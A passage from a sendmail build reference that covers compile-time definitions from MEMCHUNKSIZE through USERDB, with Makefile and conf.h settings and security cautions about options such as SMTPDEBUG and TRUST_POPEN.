MAXPV | 40 | conf.h | Arguments to a delivery agent
MAXRULERECURSION | 50 | conf.c | Ruleset recursion
MAXRWSETS | 200 | conf.h | Number of rule sets
MAXTOCLASS | 8 | conf.h | Message timeout classes
MAXUSERENVIRON | 100 | conf.h | Environment items per delivery agent

Also see QUEUESEGSIZE and SYSLOG_BUFSIZE for the discussion of two other definitions that affect sizes.

Note that there are no debugging switches to display compiled maximums. If you are running a binary distribution and a maximum is of concern, you should get the source and build sendmail yourself.

18.8.20 MEMCHUNKSIZE

Specify memory allocation size

(tune, edit conf.h)

When sendmail reads lines of text from the configuration file or from qf queue files, it calls an internal routine named fgetfolded(). That routine is initially passed a buffer of size MAXLINE into which to fit the read line. If the line is longer than MAXLINE, the sendmail program dynamically increases the space required to hold the line by MEMCHUNKSIZE.

When collecting the headers of a mail message, sendmail also begins with a buffer sized to MAXLINE. If a header arrives that is larger than MAXLINE characters, sendmail will increase the size of its buffer by MEMCHUNKSIZE as many times as is necessary to fully contain that header's data.

The default value assigned to MEMCHUNKSIZE is 1024 bytes. If you need to change that value (for example, to port to a new system's strange malloc(3) requirements or for performance reasons), you must edit conf.h:

# define MEMCHUNKSIZE   1024            /* chunk size for memory allocation */

                     change this

18.8.21 MIME7TO8

Support MIME 7- to 8-bit conversion

(tune with ENVDEF= in Makefile)

V8.8 sendmail contains the internal ability to convert messages that were converted into either quoted-printable or base64 (see Section 34.8.22) back into their original eight-bit form. The decision of whether or not to do this conversion is based on the F=9 delivery agent flag (see Section 30.8.6, F=9).

Defining MIME7TO8 to a value of 1 causes support for conversion to be included in sendmail. It is defined as 1 by default. To disable the inclusion of conversion code, use ENVDEF= in Makefile to define it as 0:

ENVDEF= -DMIME7TO8=0

        exclude support

Unless you have a compelling reason to do otherwise, we recommend that MIME7TO8 remain enabled.

If you are running a precompiled sendmail binary, you may use the -d0.1 switch to determine whether MIME7TO8 support (see Section 37.5.1) was included.

18.8.22 MIME8TO7

Support MIME 8- to 7-bit conversion

(tune with ENVDEF= in Makefile)

V8 sendmail contains the internal ability to convert 8-bit MIME message contents into 7-bit MIME so that mail can be transported to non-8-bit gateways. The methods used and the circumstances required to trigger conversion are described under the EightBitMode (8) option (see Section 34.8.22). The conversion itself can be watched with the -d43 debugging switch (see Section 37.5.150, -d43.1).

Defining MIME8TO7 to a value of 1 causes support for conversion to be included in sendmail. It is defined as 1 by default. To disable the inclusion of conversion code, use ENVDEF= in Makefile to define it as 0:

ENVDEF= -DMIME8TO7=0

        exclude support

One side effect of excluding MIME8TO7 support is that defining it to 0 causes all MIME support to also be excluded. Unless you have a compelling reason to do otherwise, we recommend that MIME8TO7 remain enabled.

If you are running a precompiled sendmail binary, you may use the -d0.1 switch to determine whether MIME8TO7 support (see Section 37.5.1) was included.

18.8.23 NAMED-BIND

Support DNS name resolution

(tune with ENVDEF= in Makefile)

The sendmail program automatically takes advantage of DNS lookups or MX records to resolve addresses and canonical hostnames. If your site is a UUCP-only site (or is otherwise not connected to the Internet) and does not run named(8) locally, you should probably disable NAMED_BIND:

ENVDEF= -DNAMED_BIND=0

             disable DNS lookups

If you are not currently running named(8) but plan to connect to the Internet, you should define NAMED_BIND but set the ResolverOptions (I) (see Section 34.8.55, ResolverOptions (I)) to false in the configuration file. Later, when you connect to the Internet, you can then simply change it to true. (See also the service-switch file, Section 34.8.61, for an another way to achieve the same effect.)

If you are running a precompiled sendmail binary, you may use the -d0.1 switch to determine whether NAMED_BIND support was included (see Section 37.5.1).

18.8.24 NDBM

Support Unix ndbm(3) Databases

(tune with DBMDEF= in Makefile)

The ndbm(3) form of database uses two files (.pag and .dir) for each database. Databases cannot be shared by different architectures across a network. If you intend to support aliasing in an efficient manner, you should at least define this NDBM (or NEWDB described below) in your Makefile.

DBMDEF= -DNDBM

The ndbm(3) routines are used primarily to look up aliases. They can also be used to declare dbm class maps (see Section 33.3.2) with the K configuration command.

Library routines to support ndbm(3) are available with most modern versions of UNIX. You may have to specify library support with a -lndbm in the LIBS= line of your Makefile. If you are running a precompiled sendmail binary, you may use the -d0.1 switch to determine whether ndbm(3) support was included (see Section 37.5.1).

18.8.25 NEED...

Something amiss with your OS?

(port, edit conf.h)

The sendmail program requires certain C language library routines to exist. If any is missing from your library, define one of the needs listed in Table 18.8 and sendmail will try to emulate it.

Each is defined with ENVDEF= in Makefile by setting it to a value of 1 (NEEDPUTENV is an exception in that 1 or 2 can be used).

ENVDEF= -DNEEDFSYNC=1

When porting to a new system, you can test with this ENVDEF= statement and, if successful, put a permanent porting entry into conf.h. Note that these are correctly defined for all currently supported systems. You should need to redefine them only if you are porting sendmail to a completely new system.

Table 18.8: Define Replacements for Missing C Library Routines
#define | Emulates
NEEDFSYNC | Replaces a missing fsync(2). The sendmail program will try to simulate it by using fcntl(2), if available; otherwise, sendmail will not "sync" to disk. This latter circumstance is undesirable and may result in unreliable mail delivery, but it works.
NEEDGETOPT | The sendmail program calls getopt(3) twice when parsing its command-line arguments. Some version of getopt(3) do odd things when called twice. If yours is one of these, replace it.
NEEDPUTENV

Replace a missing putenv(3). If this is defined as 1, sendmail emulates by using setenv(3). If this is defined as 2, sendmail emulates by directly modifying the environmental section of memory.

NEEDSTRSTR | Replace a missing strstr(3) with a well-written internalversion.
NEEDSTRTOL | Replace a missing strtol(3) with a well-written internalversion.
NEEDVPRINTF | Replace a missing vprintf(3). Note that the emulation supplied is not very elegant. It may not even work on some systems. See conf.h for a glimpse of systems that require this.

If you are running a precompiled sendmail binary, there is no way to discover whether any of these were defined when it was built.

18.8.26 NET...

Define Network Support

(tune with ENVDEF= in Makefile)

V8 sendmail is designed to support four kinds of networks, as listed in Table 18.9. Currently, only NETINET and NETISO are supported.

Table 18.9: Define for Network Support
Define | Description
NETINET | A TCP/IP-based network
NETISO | An ISO 8022 network
NETNS | A Xerox NS protocol network (tentative)
NETX25 | A CCITT\*[=a] X.25 network (tentative)

International Telephone and Telegraph Consultative Committee.

Stubs are included in the source code for any programmer who is interested in implementing NETNS or NETX25. NETINET is defined by default. If you don't want it, you need to turn it off in your Makefile:

ENVDEF= -DNETINET=0

NETISO is undefined by default. If you want to include ISO support, you need to specifically define it in your Makefile:

ENVDEF= -DNETISO=1

Defining NETINET or NETISO has the side effect of causing SMTP and QUEUE also to be automatically defined.

Defining network support only causes the code for that network to be included in sendmail. The network serviced by a particular invocation of sendmail is selected with the Family parameter of the DaemonPortOptions (O) option (see Section 34.8.13, DaemonPortOptions (O)). In the absence of an option declaration, inet (for NETINET) is used as the default.

If you are running a precompiled version of sendmail, you can determine which network types are supported by using the -d0.1 debugging switch (see Section 37.5.1).

18.8.27 NETINFO

Support NeXT netinfo(3) databases

(tune with DBMDEF= in Makefile)

The netinfo(3) form of database is supplied with the NeXT and NeXTSTeP operating systems. It is a network information service that provides file contents such as aliases and passwd, and locations such as the location of the sendmail.cf file. If you are running on a NeXT or under NeXTSTeP, this NETINFO will automatically be defined in your Makefile:

DBMDEF= -DNETINFO

The netinfo(3) databases can also be used to declare netinfo class maps (see Section 33.3.2) with the K configuration command. If you are running a precompiled sendmail binary, you may use the -d0.1 switch to determine whether NETINFO support was included (see Section 37.5.1).

18.8.28 NEWDB

Support Berkeley db(3) Databases

(tune with DBMDEF= in Makefile)

The db(3) form of database uses a single file and can be shared by different architectures. If you intend to support aliasing in an efficient manner, you should at least define this NEWDB (or the NDBM described above) in your Makefile. The db(3) routines are used to look up aliases and are the routines used by the User Database (see Section 33.5, "The User Database"). They can also be used to declare hash and btree class maps (see Section 33.3.2) with the K configuration command.

The db(3) libraries have overcome many of the limitations of the earlier ndbm(3) libraries. If possible, you should get and install the db(3) libraries before you build sendmail. The db(3) source is available from

ftp://ftp.cs.berkeley.edu/ucb/4bsd/db.tar.Z

Do not use the Net2 distribution. (See OLD_NEWDB below if you already have that distribution and can't easily get rid of it.) The src/READ_ME file contains critical information [14] about installing db(3).

[14] Such as why you must remove ndbm.h and ndbm.o from libdb.a before installing it for use by sendmail.

If you are running a precompiled sendmail binary, you may use the -d0.1 switch (see Section 37.5.1) to determine whether db(3) support was included in it.

18.8.29 NIS

Support for NIS

(tune with DBMDEF= in Makefile)

If you intend to have sendmail support nis (formerly Yellow Pages) maps, you need to define NIS as part of your DBMDEF= line in Makefile:

DBMDEF= -DNIS

If NIS is defined, the AliasFile (A) option can be specified as

OAnis:mail.aliases                  <-  V8.6
O AliasFile=nis:mail.aliases        <-  V8.7 and above (if no service-switch file)

See Section 34.8.1, AliasFile (A) for more details about the AliasFile (A) option. See Section 34.8.61 for a description of the ServiceSwitchFile option and its effect on nis aliases. Be aware that the above AliasFile (A) option declaration will override the lack of an nis entry in the service-switch file.

NDBM also needs to be defined to allow sendmail to rebuild its alias files for use by nis:

DBMDEF= -DNIS -DNDBM

For this to work, the path of the alias file needs to contain the substring "/yp/". A typical /var/yp/Makefile will contain a line like this:

/usr/lib/sendmail -bi -oA$(YPDBDIR)/$(DOM)/mail.aliases

Here, $(YPDBDIR)/ is usually /var/yp/, so the substring is found. When "/yp/" is found, sendmail augments the aliases database with two special entries that are needed by nis:

YP_LAST_MODIFIED
YP_MASTER_NAME

These allow the newly built aliases file to successfully be distributed for use by nis clients. Without these entries you will see an error like that shown below when pushing your nis maps:

Status received from ypxfr on nisslave:
        Failed - no local order number in map - use -f flag to ypxfr.

The solution here is to rebuild sendmail with both NDBM and NIS defined.

Defining NIS also causes support to be included for declaring and using nis class maps (see Section 33.3.2) with the K configuration command.

Note that defining NIS without also defining NAMED_BIND will cause delivery to MX records to mysteriously fail.

If you are running a precompiled sendmail binary, you may use the -d0.1 switch to determine whether NIS support was included (see Section 37.5.1).

18.8.30 NISPLUS

Support for NIS+

(tune with DBMDEF= in Makefile)

If you intend to have sendmail support nisplus maps, you need to define NISPLUS as part of your DBMDEF= line in Makefile. (The use of nisplus aliases and other maps is determined by the /etc/nsswitch.conf file.)

DBMDEF= -DNISPLUS

If NISPLUS is defined, the AliasFile (A) option can be used to override the setting of the /etc/nsswitch.conf file:

O AliasFile=nisplus:mail.aliases        <-  V8.7 and above

Here, nisplus aliases will be used even if the /etc/nsswitch.conf file excludes them.

See Section 34.8.1 for details about the AliasFile (A) option. Note that NISPLUS is new to V8.7 and not supported under earlier versions of sendmail.

With NISPLUS defined, support is also included to declare and use nisplus class maps (see Section 33.3.2) with the K configuration command.

If you are running a precompiled sendmail binary, you may use the -d0.1 switch to determine whether NISPLUS support was included (see Section 37.5.1).

18.8.31 NO-GROUP-SET

Prevent multi-group file access

(port, edit conf.h)

When checking files and directories for group read and write permissions, sendmail checks the group of the controlling user. On systems that allow a user to belong to one group at a time, failure stops here; on systems that allow users to belong to many groups at once, failure causes sendmail to check any other groups to which the controlling user may belong. It finds the list of groups by calling getgrgid(3).

If your system lacks the getgrgid(3) call or doesn't need it, you should exclude this code by defining NO_GROUP_SET in conf.h. NO_GROUP_SET causes the code containing the call to getgrgid(3) to be excluded from sendmail. Be aware that excluding getgrgid(3) support on systems that need it can cause delivery to files to fail in mysterious ways.

If you are running a precompiled version of sendmail, be aware that there is no debugging switch that can tell you what the setting of NO_GROUP_SET was set to at compile time.

Note that NO_GROUP_SET affects only inclusion of the getgrgid(3) system call. See the DontInitGroups option (see Section 34.8.19, DontInitGroups) for a means to exclude the getgrgid(3) and initgroups(3) system calls.

18.8.32 NOTUNIX

Exclude From line support

(port, edit conf.h)

Under UNIX a file of many mail messages normally has one message separated from another by a blank line and then a line that begins with the five characters "From " (four letters and a space). On such systems, sendmail saves important information from such lines for later use.

On non-UNIX machines (VMS or MS-DOS) the conventions are different, so you won't want sendmail to treat such lines as special. Similarly, if your UNIX site has converted entirely away from this convention (with mhs or the like), you might not want this special treatment.

To disable special treatment of "From " lines, define the NOTUNIX macro in your Makefile:

ENVDEF= -DNOTUNIX

When porting to a new system, you can test with this ENVDEF= statement and, if successful, put a permanent porting entry into conf.h. Defining NOTUNIX causes the code for eatfrom() to be excluded from sendmail. The -d30.2 debugging switch (see Section 37.5.109, -d30.2) can be used to watch eatfrom() and to determine whether NOTUNIX was declared when compiling sendmail.

18.8.33 OLD-NEWDB

Support the old form of db(3)

(port with DBMDEF= in Makefile)

BSDI(BSD/386) 1.0, NetBSD 0.9, and FreeBSD 1.0 were distributed with an old version of the db(3) library. These systems will not use the file locking of the latest version. For such systems you must define

DBMDEF= -DNEWDB -DOLD_NEWDB=1

                don't support new file locking

Although you can get and install the latest version of db(3), you should not do so unless you can rebuild your entire UNIX system. The old form of database is used throughout, and just building sendmail with the new form will cause password lookups and the like to fail.

In general, you should never have to declare OLD_NEWDB (instead, we recommend upgrading your operating system). OLD_NEWDB is automatically included in the Makefile for the systems that need it.

18.8.34 PATH...

Hardcode paths inside sendmail

(debug with ENVDEF= in Makefile)

Only a few pathnames are hard-coded into sendmail. The most obvious is its configuration file, because that file lists the locations of nearly all other files. For various reasons a few other file locations are also hard-coded. Here, we describe those that you can change. Note that the general form for all such changes uses the ENVDEF= declaration of your Makefile:

ENVDEF= -D_PATH...=\"/new/path/filename\"

The new path must be surrounded by backslashed quotation marks so that the compiler will correctly interpret it as a string. /etc/sendmail.cf The sendmail.cf file is pivotal to all of the sendmail program's operations (see Chapter 27, The Configuration File). V8.7 sendmail recommends that it always be called sendmail.cf and always be located in the /etc directory. For testing, debugging, or other legitimate reasons you may prefer to locate that file elsewhere (at least temporarily). You do that with the _PATH_SENDMAILCF definition:

ENVDEF= -D_PATH_SENDMAILCF=\"/src/tests/test.cf\"

/etc/sendmail.pid The sendmail.pid file contains two lines of information. The first line is text representation of the pid of the current running daemon. The second is a copy of the command line that was originally used to start sendmail. This file is handy for killing and restarting the daemon (see Section 4.1.1, "Daemon Mode (-bd)"). If BSD4_4 is defined, the default becomes /var/run/sendmail.pid; otherwise, the default is /etc/sendmail.pid. You can change this default (and you must if you intend to run a test daemon in parallel to the original), with the ENVDEF= of your Makefile:

ENVDEF= -D_PATH_SENDMAILPID=\"/src/tests/test.pid\"

Ordinarily, two daemons cannot run simultaneously on a single host. If you need to run a second daemon, you must change the port that it listens to with the Port parameter of the DaemonPortOptions (O) option (see Section 34.8.13). /etc/hosts Ordinarily, sendmail will first look for a service-switch (see Section 34.8.61) to see how it should look up the canonical names of hosts. If it finds one and if the service hosts is listed, it uses the techniques listed with the service-switch to look up its hosts. When a technique is files, sendmail reads the file named by _PATH_HOSTS to get its canonical information. Ordinarily, that file is called /etc/hosts. If that file is different or has been customized on your system, you can redefine the location like this:

ENVDEF= -D_PATH_HOSTS=\"/etc/privatehosts\"

In general, most other techniques are preferred over the linear parse of a hosts file. However, this file is useful in determining the canonical name of the local host. Note that the location of the hosts file can also be changed with the HostsFile option (see Section 34.8.30, HostsFile). /dev/kmem The sendmail program decides when to refuse connections and when to only queue mail on the basis of its perception of the machine load average. The process of determining that average is hugely complex and varies greatly from vendor to vendor. Three pathnames that may be used in determining the load are _PATH_KMEM, _PATH_LOADAVG, and _PATH_UNIX. These should need to be changed only in the rare event that you are porting sendmail to a previously unsupported platform. Read the file conf.c to see the complex way they are presently used. Also see Table 18.6 to see how to use these to find the load average. /etc/shells A user is not allowed to run programs from a .forward file unless that user has a valid login shell (see Section 25.7.4, "Piping Through Programs"). Nor is a user allowed to save mail directly to files without a valid shell. To determine whether the login shell is valid, sendmail calls getusershell(3). If sendmail was defined without HASGETUSERSHELL defined (see Table 18.4), it instead tries to look up the shell in the /etc/shells file. If that file cannot be opened, sendmail gets valid shell names from an internal list called DefaultUserShells that is defined in conf.c. This _PATH_SHELLS definition can be used to change the location of the /etc/shells file. /usr/tmp In a panic situation (such as when sendmail cannot figure out how to deliver or bounce a mail message) the message is saved into the /usr/tmp/dead.letter file (see the ErrorMode (e) option Section 34.8.24, ErrorMode (e)). The _PATH_VARTMP definition is used to tune the location of the /usr/tmp directory. For some systems it is defined as /usr/tmp; for others it will need to be named /var/tmp. As distributed, it is undefined in all Makefiles, and it defaults to /usr/tmp.

There is no debugging flag that will display the defaults for these file locations. If any are of concern, you should build sendmail yourself.

18.8.35 PICKY...

Make sendmail pickier

(tune with ENVDEF= in Makefile)

The sendmail program can be made pickier by tuning its PrivacyOptions (p) option (see Section 34.8.47, PrivacyOptions (p)) or by defining two macros when compiling: PICKY_HELO_CHECK The SMTP HELO command is used to introduce the calling machine to the receiving machine. The form of that command is

HELO calling host name here

Note that HELO and EHLO are equivalent in this regard. Ordinarily, sendmail doesn't care what the calling host calls itself. All sendmail cares about is that this name is the canonical name of a machine. If you care whether the HELO hostname matches the real hostname of the calling machine, you can define PICKY_HELO_CHECK.

ENVDEF= -DPICKY_HELO_CHECK

With PICKY_HELO_CHECK defined, a mismatch (other than the local machine calling itself localhost) will result in this being logged:

Host realname claimed to be heloname

Note that this check is ordinarily turned off [15] because a large number of hosts on the Internet use a name that is different from their canonical name. PICKY_QF_NAME_CHECK The name of a queue file's control file is narrowly defined inside sendmail (see Section 23.2.1, "The Queue Identifier"). If only sendmail will be placing files into your queue, you might wish to turn on this macro for additional protection:

[15] Eric was getting complaints that the continual insertion of this warning was misleading and tended to cause people to ignore it entirely.

ENVDEF= -DPICKY_QF_NAME_CHECK

With PICKY_QF_NAME_CHECK defined, sendmail will log an error if the name of the qf file is incorrectly formed and will rename the qf file into a Qf file (see Section 23.3 for details of this process).

18.8.36 PSBUFSIZ

Size of prescan() buffer

(tune, edit conf.h)

Whenever an address (including rules) is tokenized, it is stored in a single buffer, one token following the next with a zero-value byte separating them. The size of this buffer is defined by PSBUFSIZ. The default size is defined in conf.h as (MAXNAME + MAXATOM).

In general, this definition should never be changed. If you start getting warning messages such as

Address too long

look elsewhere (such as rule sets) for the cause. You should consider changing the size of PSBUFSIZ only as a last resort.

18.8.37 QUEUE

Enable queueing

(tune, edit conf.h)

If sendmail cannot immediately deliver a mail message, it places that message in a queue to await another try. The QUEUE definition causes queue-handling code to be included in sendmail. If queueing is not enabled and you need to queue, sendmail prints the following message and either bounces or discards the message:

dropenvelope: queueup

A word to the wise: Always define QUEUE. Even if you have only a pure UUCP machine, mail can fail (for a reason such as a full disk). Without queueing, such mail will bounce when instead it should be queued for a later try.

The default is to always define QUEUE if NETINET or NETISO are defined; otherwise, QUEUE is undefined. There is no debugging flag to show whether QUEUE is defined, but the the -bp switch (see Section 23.4, "Printing the Queue") can be used to determine whether it is supported.

18.8.38 QUEUESEGSIZE

Amount to grow queue work list

(tune, edit conf.h)

During a queue run, sendmail holds information in memory about all the files being processed. It does this so that it can sort them by priority for delivery. Beginning with V8.7 sendmail, there is no longer a limit (other than consuming all memory) on how many queued messages can be processed during any queue run. Prior to V8.7, that number was fixed by the constant QUEUESIZE. QUEUESIZE has been retired and replaced with QUEUESEGSIZE, which is defined in conf.h as:

# define QUEUESEGSIZE   1000            /* increment for queue size */

It should be changed only if your queue continually contains a huge number of messages. If you notice many messages like this being logged:

grew WorkList for...

you may need to modify QUEUESEGSIZE. Doing so requires that you edit conf.h and recompile.

QUEUESEGSIZE can be traced with the -d41 debugging switch (see Section 37.5.144, -d41.1).

18.8.39 SCANF

Support scanf(3) with F command

(tune with ENVDEF= in Makefile)

The F configuration command (see Section 32.1.2, "The F Class Command") allows the specification of a scanf(3) style string to aid in parsing files (see Section 32.1.2.1, "scanf(3) variations"). In general this is not recommended because a misdesigned input file can cause sendmail to core dump. However, because of its popularity, it is enabled at compile time by default. If you don't need it, we recommend you exclude its support with ENVDEF= in Makefile.

ENVDEF= -DSCANF=0

        disable scanf(3)

The scanf(3) is used only in reading files into a class with the F configuration command. If you are running a precompiled version of sendmail, you can determine whether SCANF was included by using the -d0.1 debugging switch (see Section 37.5.1).

18.8.40 SFS-TYPE

How to determine free disk space

(port, edit conf.h)

The sendmail program can reject incoming mail messages if they are too large for the queueing disk. This ability is enabled by giving a positive, nonzero size to the MinFreeBlocks (b) option (see Section 34.8.40, MinFreeBlocks (b)). The method that sendmail uses to measure the free space on a disk varies from system to system. SFS_TYPE defines which of several methods sendmail will use. Those available are shown in Table 18.10.

Table 18.10: Method to Determine Free Disk Space
Define | Description
SFS_NONE | Your system has no way to determine the free space on a disk. This causes the MinFreeBlocks (b) option (see Section 34.8.40)to be ignored.
SFS_USTAT | Your system uses the ustat(2) system call to get information about mounted file systems.
SFS_4ARGS | Your system uses the four-argument form of the statfs(2) system call and <sys/statfs.h>. If you define this, you can also define SFS_BAVAIL as the field name for the statfs C language structure (by default, f_bavail).
SFS_VFS | Your system uses the two-argument form of the statfs(2) system call and <sys/vfs.h>.
SFS_MOUNT | Your system uses the two-argument form of the statfs(2) system call and <sys/mount.h>.
SFS_STATFS | Your system uses the two-argument form of the statfs(2) system call and <sys/statfs.h>.
SFS_STATVFS | Your system uses the statvfs(2) system call.

In general, SFS_TYPE is correctly defined for all supported systems. You should need to modify it only if you are porting to a new system. To do so, you will need to edit conf.h.

You can use the -d4.80 debugging switch (see Section 37.5.19, -d4.80) to watch sendmail check for enough disk space. The only way to tell whether a precompiled version of sendmail has this ability is by setting the MinFreeBlocks option to a positive value and watching the -d4.80 output. If bavail= in that output is always -1, no matter what, your support was defined as SFS_NONE.

18.8.41 SMTP

Enable SMTP

(tune with ENVDEF= in Makefile)

If you are running sendmail as a daemon, you need to define SMTP to enable mail transfers. If you don't intend to run sendmail as a daemon, SMTP might not need to be defined. The default is that SMTP is automatically defined if either NETINET or NETISO is defined; otherwise, SMTP is undefined.

SMTP support is recommended, even if sendmail is not running with network support or as a daemon. To take advantage of the new DSN protocol, future MUAs will talk to sendmail using SMTP over a pipe connection with the -bs command-line switch (see Section 36.7.11, -bs). The mh(1) suite of programs does that now. Delivery agents are also being designed with SMTP so that they can take advantage of DSN.

You enable SMTP support with ENVDEF= in your Makefile:

ENVDEF= -DSMTP=1

If a precompiled sendmail lacks SMTP support, an attempt to use sendmail's -bs command line switch will result in this fatal error:

I don't speak SMTP

SMTP activity can be watched with the -d18 and -d19 debugging switches (see Section 37.5.65, -d19.1) and with the -v command-line switch (see Section 36.7.41, -v).

18.8.42 SMTPDEBUG

Enable remote debugging

(debug with ENVDEF= in Makefile)

The sendmail program allows the developer to turn on debugging and to print the queue from any remote site. This capability is useful for solving occasional problems but opens a potentially wide security hole.

In general, SMTPDEBUG should always be undefined. Later, when you become more expert with sendmail, you might want to have a standby version of sendmail ready (one with SMTPDEBUG defined), just in case you need it.

There is no debugging switch that will let you know whether a precompiled version of sendmail had this defined. Instead, you must run it as a daemon, connect to it with telnet(1), and issue the SHOWQ SMTP command. If it displays the mail queue, then that precompiled sendmail was built with SMTPDEBUG defined, and you should not use it!

18.8.43 SMTPLINELIM

Default for obsolete F=L flag

(don’t change)

Each delivery agent that is defined in the configuration file may or may not have an L= (Line length) equate (see Section 30.4.6, L=). If that equate is missing or if the value assigned to it is less than or equal to zero, and if the F=L delivery agent flag is set (see Section 30.8.29, F=L), the default value that is used becomes the value of SMTPLINELIM. Otherwise, the default value is 0. This logic is there to support old configuration files that use F=L in place of the newer L=.

The default for SMTPLINELIM is 990 (defined in RFC821) and that value should not be changed. Rather, if you need a different line-length limit for a particular delivery agent, you should use the L= equate when defining it.

18.8.44 SOLARIS

Support Sun's Solaris 2.x

(port, edit conf.h)

If compiling for a Sun Solaris machine, you will find this SOLARIS definition correctly defined for you in your Makefile:

ENVDEF=    -DSOLARIS               <-  Solaris 2.1 and 2.2
ENVDEF=    -DSOLARIS=20300         <-  Solaris 2.3
ENVDEF=    -DSOLARIS=20400         <-  Solaris 2.4
ENVDEF=    -DSOLARIS=20500         <-  Solaris 2.5
ENVDEF=    -DSOLARIS=20501         <-  Solaris 2.5.1

Be sure to see src/READ_ME for several well-known pitfalls concerning Solaris.

18.8.45 SPT-TYPE

Adapt/exclude process title support

(port, edit conf.h)

Whenever a program first begins to run, UNIX provides it with two arrays of information: its command-line arguments, and the environment under which it was run. When you run ps(1) to see what processes are doing, ps prints the command line that was used to run each program.

To provide more useful information (such as current status or host connected to), sendmail saves its command line and environment, then periodically uses that system space to display its status. This ability provides a valuable tool for monitoring what each invocation of sendmail is doing.

The method to display this information is correctly defined in conf.c for all supported systems. In the rare event that you need to port sendmail to another system, you may do so by defining SPT_TYPE in conf.h.

18.8.46 SUID-ROOT-FILES-OK

Allow root delivery to files

(debug with ENVDEF= in Makefile)

When delivering to files, sendmail runs as the controlling user unless the suid or sgid bits of the file are set. If so, it runs as the owner of the file. A question arises when such files are root owned. Ordinarily, writing to suid and sgid root owned files as root is disallowed.

If, for some reason, your site needs to allow delivery to root-owned files with sendmail running as root, you can enable this behavior with

ENVDEF= -DSUID_ROOT_FILES_OK

But be aware that you may open serious security holes on your system if you do this. We recommend that SUID_ROOT_FILES_OK never be defined, except as a temporary debugging technique. If you are running a precompiled sendmail binary, you can use the -d0.1 debugging switch (see Section 37.5.1) to determine whether SUID_ROOT_FILES_OK was defined in it.

18.8.47 SYSLOG-BUFSIZE

Limit syslog(3) buffer size

(port, edit conf.h)

The sendmail program logs errors, information, and debugging messages using the syslog(3) facility. By default, sendmail uses a 1024-byte buffer to assemble each message before dispatching it, but some systems don't accept a buffer this big. For such systems you can reduce the size of that buffer by defining SYSLOG_BUFSIZE with a new size:

ENVDEF= -DSYSLOG_BUFSIZE=512

         reduce syslog(3)'s buffer size

First, note that SYSLOG_BUFSIZE is correctly set in conf.h and Makefiles/* for all supported systems. Second, note that setting the buffer to fewer than 256 bytes causes sendmail to log many more smaller messages (each item of information on a separate syslog(3) line). If SYSLOG_BUFSIZE is less than 89, some logging information will be lost.

SYSLOG_BUFSIZE has an effect only if sendmail was compiled with LOG defined, (see Section 18.8.16), and if the LogLevel (L) option (see Section 34.8.33) is set to 6 or more, and if your syslog.conf(5) file is configured to log mail messages at LOG_INFO and above (see Section 26.1, "Logging with syslog"). If you are running a precompiled version of sendmail, there is no way to determine the setting of SYSLOG_BUFSIZE.

18.8.48 SYSTEM5

Support SysV-derived machines

(port, edit conf.h)

If you are compiling sendmail on a SysVR4-derived machine, you should define SYSTEM5. This automatically causes the correct SysV support to be included. For all systems that require SYSTEM5 to be defined, it is already correctly defined in conf.h.

If you suspect that you need to define SYSTEM5 when porting to a new system, you should also investigate SYS5SIGNALS and SYS5SETPGRP in conf.h and READ_ME. If you are running a precompiled version of sendmail, you can use the -d0.10 debugging switch (see Section 37.5.3) to discover whether SYSTEM5 or SYS5SETPGRP were defined.

18.8.49 TCPWRAPPERS

Use libwrap.a for connects

(tune with ENVDEF= in Makefile)

Beginning with V8.8 sendmail, it is now possible to use the libwrap.a library to validate incoming SMTP connections. To enable this ability, you need to define TCPWRAPPERS and arrange for the libwrap.a library to be included in your Makefile:

ENVDEF= -DTCPWRAPPERS
LIBS= -lwrap

See src/README and Section 22.4.1, "Accept/Reject Connections via libwrap.a" for additional information.

18.8.50 TOBUFSIZE

Set buffer for recipient list

(tune, edit conf.h)

For each delivery of one or more recipients to a single delivery agent, sendmail issues a summary of delivery through syslog(3). When logged, the recipient part of the message looks like this:

to=recipients

Here, recipients is a comma-separated list of recipients. The maximum number of characters in this list is determined by TOBUFSIZE. That limit is intended to prevent the internal syslog(3) buffer from overflowing. On machines with older versions of syslog(3) you may need to reduce the size of TOBUFSIZE in conf.h. In general, TOBUFSIZE is correctly defined for all currently supported systems. You should need to change it only if porting to a new system.

Note that one side effect of TOBUFSIZE is that it also limits the total number of recipients that can be delivered at once. If you need to increase that limit (and if you have a robust version of syslog), you can experiment by cautiously increasing TOBUFSIZE.

18.8.51 TRUST-POPEN

Allow use of popen(3)

(debug with ENVDEF= in Makefile)

The sendmail program uses the uname(2) system call to determine the UUCP name of the local host. If your machine lacks the uname(2) call (if HASUNAME was not defined), sendmail attempts to emulate uname(2) with its own internal routine. That internal routine first tries to read the /etc/whoami file. If that fails, it then tries to parse /usr/include/whoami.h. Finally, if that fails and if TRUST_POPEN is defined, sendmail executes the following command to get the UUCP name:

popen("uuname -l", "r")

The result (no matter how it was obtained) is then placed into the $k macro (see Section 31.10.21, $k).

In general, you should never define TRUST_POPEN. The popen(3) call presents a huge security risk. If your system lacks uname(2) and is unable to set its UUCP name, consider hard-coding that name in the configuration file:

Dkuucpname

You may wish to define TRUST_POPEN temporarily to see whether that causes your UUCP name to be found. Once that is done, undefine it for your final release of sendmail.

There is no debugging switch that will tell you whether TRUST_POPEN was defined in a precompiled version of sendmail. If that binary is not stripped, you can use nm(1) to check for popen(3) support:

% nm sendmail | grep popen
00058bc8 T _popen                        <-  found, so TRUST_POPEN was defined

If sendmail is stripped, you can still run strings(1) in order to check for the actual command:

% strings sendmail | grep "uname -l"
uuname -l                                <-  found, so TRUST_POPEN was defined

In either event you should contact your vendor and ask for this security risk to be removed.

18.8.52 TTYNAME

Set $y to tty name (obsolete)

(debug with ENVDEF= in Makefile)

The $y macro (see Section 31.10.44, $y) is intended to hold as its value the base name of the controlling tty device (if there is one). On BSD-derived systems this is a name like the following, but with the /dev/ prefix removed:

/dev/tty04

Defining TTYNAME enables sendmail to put this information into $y:

ENVDEF= -DTTYNAME

Note that TTYNAME is useful only for debugging sendmail. The sendmail program does not itself use $y for anything. Also note that defining TTYNAME requires that your system support the ttyname(2) system call. If you are running a precompiled version of sendmail, you can determine whether TTYNAME was defined by sending mail with the -d35.9 debugging switch (see Section 37.5.120, -d35.9) and watching for $y to be defined:

define(y as ttyp1)

18.8.53 UDB-DEFAULT-SPEC

Default User Database location

(tune with DBMDEF= in Makefile)

If you wish to define a default location for the User Database that will take effect if the UserDatabaseSpec (U) option (see Section 34.8.75, UserDatabaseSpec (U)) is missing, you can define it, for example, like this:

DBMDEF= -DNEWDB -DUDB_DEFAULT_SPEC=\"/var/db/userdb.db\"

The backslashed quotation marks are necessary to pass the path to sendmail as a string.

18.8.54 USERDB

Support the User Database

(tune with DBMDEF= in Makefile)

